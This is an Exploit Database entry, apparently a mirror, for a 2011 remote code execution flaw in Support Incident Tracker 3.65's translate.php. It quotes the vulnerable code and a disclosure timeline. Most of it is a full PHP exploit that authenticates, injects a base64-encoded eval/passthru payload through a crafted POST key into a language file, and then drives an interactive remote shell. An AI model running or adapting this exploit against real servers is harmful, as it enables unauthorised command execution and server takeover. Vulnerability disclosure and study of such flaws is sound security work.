Support Incident Tracker 3.65 – ‘translate.php’ Remote Code Execution

Exploit Database
109 阅读

作者： EgiX

日期： 2011-11-19
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18132/

100

101

102

103

104

105

106

107

108

109

110

111

112

<?php

------------------------------------------------------------------------------

Support Incident Tracker <= 3.65 (translate.php) Remote Code Execution Exploit

------------------------------------------------------------------------------

author...............: Egidio Romano aka EgiX

mail.................: n0b0d13s[at]gmail[dot]com

software link........: http://sitracker.org/

affected versions....: from 3.45 to 3.65

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] vulnerable code in /translate.php

234.foreach (array_keys($_POST) as $key)

235.{

236.if (!empty($_POST[$key]) AND substr($key, 0, 3) == "str")

237.{

238.if ($lastchar!='' AND substr($key, 3, 1) != $lastchar) $i18nfile .= "\n";

239.$i18nfile .= "\${$key} = '".addslashes($_POST[$key])."';\n";

240.$lastchar = substr($key, 3, 1);

241.$translatedcount++;

242.}

243.}

Input passed via keys of $_POST array isn't properly sanitized before being stored into $i18nfile variable

at line 239, that variable will be the contents of a language file stored into 'i18n' directory with a php

extension. This could allow authenticated users to inject and execute arbitrary PHP code. Furthermore,

access directly to /translate.php?mode=save will reveal the full installation path of the application.

[-] Disclosure timeline:

[13/11/2011] - Vulnerability discovered

[13/11/2011] - Issue reported to http://bugs.sitracker.org/view.php?id=1737

[13/11/2011] - Vendor replied that this issue is fixed in the current SVN trunk

[19/11/2011] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);

return stream_get_contents($sock);

}

print "\n+------------------------------------------------------------------------+";

print "\n| Support Incident Tracker <= 3.65 Remote Code Execution Exploit by EgiX |";

print "\n+------------------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";

print "\nExample....: php $argv[0] localhost / user pass";

print "\nExample....: php $argv[0] localhost /sit/ user pass\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$payload = "username={$argv[3]}&password={$argv[4]}";

$packet= "POST {$path}login.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: SiTsessionID=foo\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/main.php/", $response)) die("\n[-] Login failed!\n");

if (!preg_match("/Set-Cookie: ([^;]*);/", $response, $sid)) die("\n[-] Session ID not found!\n");

$phpcode = base64_encode('passthru(base64_decode($_SERVER[HTTP_CMD]));print("___");');

$payload = "mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1";

$packet= "POST {$path}translate.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$sid[1]}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet= "GET {$path}i18n/sh.inc.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\nsit-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}